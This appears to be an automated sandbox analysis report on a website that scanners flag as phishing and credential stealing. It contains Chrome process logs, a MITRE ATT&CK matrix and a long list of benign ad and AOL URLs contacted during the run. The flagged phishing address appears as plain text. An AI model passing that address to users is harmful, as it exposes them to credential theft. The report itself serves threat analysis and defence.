Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2452,i,18375009690567221965,13761040194635952857,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=10776 --field-trial-handle=2452,i,18375009690567221965,13761040194635952857,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Extra Window Memory Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
http://testing-1g0.pages.dev/	100%	Avira URL Cloud	phishing
http://testing-1g0.pages.dev/	100%	SlashNext	Credential Stealing type: Phishing & Social usering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://js-sec.indexww.com/um/ixmatch.html	0%	URL Reputation	safe
https://tsdtocl.com/	0%	URL Reputation	safe
https://ups.analytics.yahoo.com/ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external	0%	URL Reputation	safe
https://sync.1rx.io/usersync2/pubmatic&gdpr=0&gdpr_consent=	0%	URL Reputation	safe
https://ups.analytics.yahoo.com/ups/58739/cms?partner_id=BLKAI&orig=ono	0%	URL Reputation	safe
https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent=	0%	URL Reputation	safe
https://sync.ipredictive.com/d/sync/cookie/generic?https://eb2.3lift.com/xuid?mid=3702&xuid=${ADELPHIC_CUID}&dongle=d54f&gdpr=0&gdpr_consent=	0%	URL Reputation	safe
https://metrics.brightcove.com/v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&event=catalog_response&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353502292112&time=1716503725281&seq=18&response_time_ms=1486	0%	Avira URL Cloud	safe
https://www.aol.com/lib/metro/g/myy/rapidworker_1_2_0.0.2.js	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Light.woff)	0%	Avira URL Cloud	safe
https://us-u.openx.net/w/1.0/cm?cc=1&_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D	0%	Avira URL Cloud	safe
https://sync.adkernel.com/user-sync?zone=220412&t=image&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D41%26buyeruid%3D%7BUID%7D%26r%3DCid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4Ag==	0%	Avira URL Cloud	safe
https://oidc.help.aol.com/login?dest=	0%	Avira URL Cloud	safe
https://bats.video.yahoo.com/p?evt=ad_init&_E=ad_init&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&	0%	Avira URL Cloud	safe
https://3p-udc.yahoo.com/v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503683997&yhlClientVer=3.56.0&yhlRnd=OXU0hISCqa4DhMZt&yhlCompressed=0	0%	Avira URL Cloud	safe
https://aorta.clickagy.com/pixel.gif?ch=4&cm=30c07eaf-f5b5-420f-97bb-3cee9e535967&redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537073026%26val%3D%7Bvisitor_id%7D	0%	Avira URL Cloud	safe
https://f.creativecdn.com	0%	Avira URL Cloud	safe
https://ups.analytics.yahoo.com/ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Italic.woff)	0%	Avira URL Cloud	safe
https://s.aolcdn.com/caas-assets-production/assets/v1/stream.7efb85c8f2ce352d.js	0%	Avira URL Cloud	safe
https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDhfNjg3MWY1ZTc1M2I3NDJhN2FkM2Q4MzNkZWYzNTA4NTYwYWI1MTM0NjI5NjY2ODVjNzEyMzhkODkzMjI2YWViZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w	0%	Avira URL Cloud	safe
https://support.office.com/en-us/article/Add-an-email-account-to-Outlook-6e27792a-9267-4aa4-8bb6-c84	0%	Avira URL Cloud	safe
https://match.adsrvr.org/track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://ups.analytics.yahoo.com/ups/58292/sync?_origin=1&uid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://pbs.yahoo.com/setuid?bidder=sovrn&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ItNLAQZHfit0Ml6gQsWPeZ0W&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1	0%	Avira URL Cloud	safe
https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=60&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503735284&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=62&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=31&ns_st_asq=31&ns_st_sq=31&ns_st_po=8369&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=8369&ns_st_ipt=15&ns_st_iap=15&ns_st_iet=15&ns_st_iupc=15&ns_st_iupa=15&ns_st_ilpc=15&ns_st_ilpa=15&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=15&ns_st_ap=8369&ns_st_dap=15&ns_st_et=18150&ns_st_det=15&ns_st_upc=8369&ns_st_dupc=15&ns_st_upa=8369&ns_st_dupa=15&ns_st_lpc=8369&ns_st_dlpc=15&ns_st_lpa=8369&ns_st_dlpa=15&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=31&ns_st_pp=31&ns_st_pa=8369&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0	0%	Avira URL Cloud	safe
https://id.rlcdn.com/709996.gif	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Regular.woff)	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Thin.woff2)	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Regular.woff2	0%	Avira URL Cloud	safe
https://s.aolcdn.com/caas-assets-production/assets/v1/news.0860907304e595d6.js	0%	Avira URL Cloud	safe
https://s.yimg.com/uu/api/res/1.2/Q4KtNtHR5HNdJzKncunUmg--~B/aD01NDA7dz05NjA7YXBwaWQ9eXRhY2h5b24-/ht	0%	Avira URL Cloud	safe
https://match.adsrvr.org/track/cmb/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://manifest.prod.boltdns.net/thumbnail/v1/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/thumbnail.webvtt?fastly_token=NjY0ZmQyYTRfOGRhNWUzZmU3OGNhODkwMWViMTFmZWZlZmM4MWI3ZDAzZmIyNThhMjIwYTQzNzM4ZDQ5YmNlNzkwY2RiYjIxMw%3D%3D	0%	Avira URL Cloud	safe
https://s.yimg.com/aaq/wf/wf-image-1.4.0.js	0%	Avira URL Cloud	safe
https://s.aolcdn.com/caas-assets-production/assets/v1/utils.9111c432fb133fce.js	0%	Avira URL Cloud	safe
https://sync.srv.stackadapt.com/sync?nid=1&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=47&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503733957&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=49&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=25&ns_st_asq=25&ns_st_sq=25&ns_st_po=7097&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=2903&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=7097&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=4&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=7097&ns_st_dap=0&ns_st_et=16823&ns_st_det=4&ns_st_upc=7097&ns_st_dupc=0&ns_st_upa=7097&ns_st_dupa=0&ns_st_lpc=7097&ns_st_dlpc=0&ns_st_lpa=7097&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=24&ns_st_pp=24&ns_st_pa=7097&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0	0%	Avira URL Cloud	safe
https://pixel-eu.onaudience.com/?partner=270&smartmap=1&gdpr=0&gdpr_consent=&redirect=image2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%26piggybackCookie%3D%25_rid%26gdpr%3D0%26gdpr_consent%3D%25_gdpr_consent	0%	Avira URL Cloud	safe
https://3p-geo.yahoo.com/p?s=1197803361&t=5eAg99k8XRalJwP0,0.6440435407286695&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031716503711%04A_prems%03889%04_E%03dwell%04_ts%031716503711%04_ms%03893%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031	0%	Avira URL Cloud	safe
https://s.yimg.com/rx/ev/builds/1.6.29/bcplayer.css	0%	Avira URL Cloud	safe
https://pubads.g.doubleclick.net/adsid/integrator.json?aos=	0%	Avira URL Cloud	safe
https://pbs.yahoo.com/setuid?bidder=zeta_global_ssp&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ua-d3a5a567-89dd-33ed-be20-40cbb3087081	0%	Avira URL Cloud	safe
https://s.aolcdn.com/membership/omp-static/biblio/icons/AolHelpIcons.eot?#iefix-3	0%	Avira URL Cloud	safe
https://s.aolcdn.com/os/help-main/content-types/article	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/images/app/AOL-logo-96x96.png	0%	Avira URL Cloud	safe
https://metrics.brightcove.com/v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&ad_error=303&event=ad_error&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w&time=1716503717095&seq=8	0%	Avira URL Cloud	safe
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=8369ae03-bf51-422b-a15c-33306b0e1dfe&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://s.aolcdn.com/caas-assets-production/assets/v1/images/modules/footer/PlayStore_en.png	0%	Avira URL Cloud	safe
https://mwzeom.zeotap.com/mw?zpartnerid=1384&env=mWeb&gdpr=0&gdpr_consent=&cid=BD0DE19C-09D4-4B62-A1	0%	Avira URL Cloud	safe
https://s.aolcdn.com/caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback.png	0%	Avira URL Cloud	safe
https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsdS0yOFTkQeyA8vtdrBetw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fastros_wbg.png&client=76f99bdb8f78cd44cc0b&signature=53f3ec69dc0981b98bf4f15eba4afc19210d6c1c	0%	Avira URL Cloud	safe
https://www.cloudflare.com/5xx-error-landing	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-SemiboldItalic.woff)	0%	Avira URL Cloud	safe
https://edge-auth.api.brightcove.com/playback/v1/accounts/6415665815001/videos/6353515371112	0%	Avira URL Cloud	safe
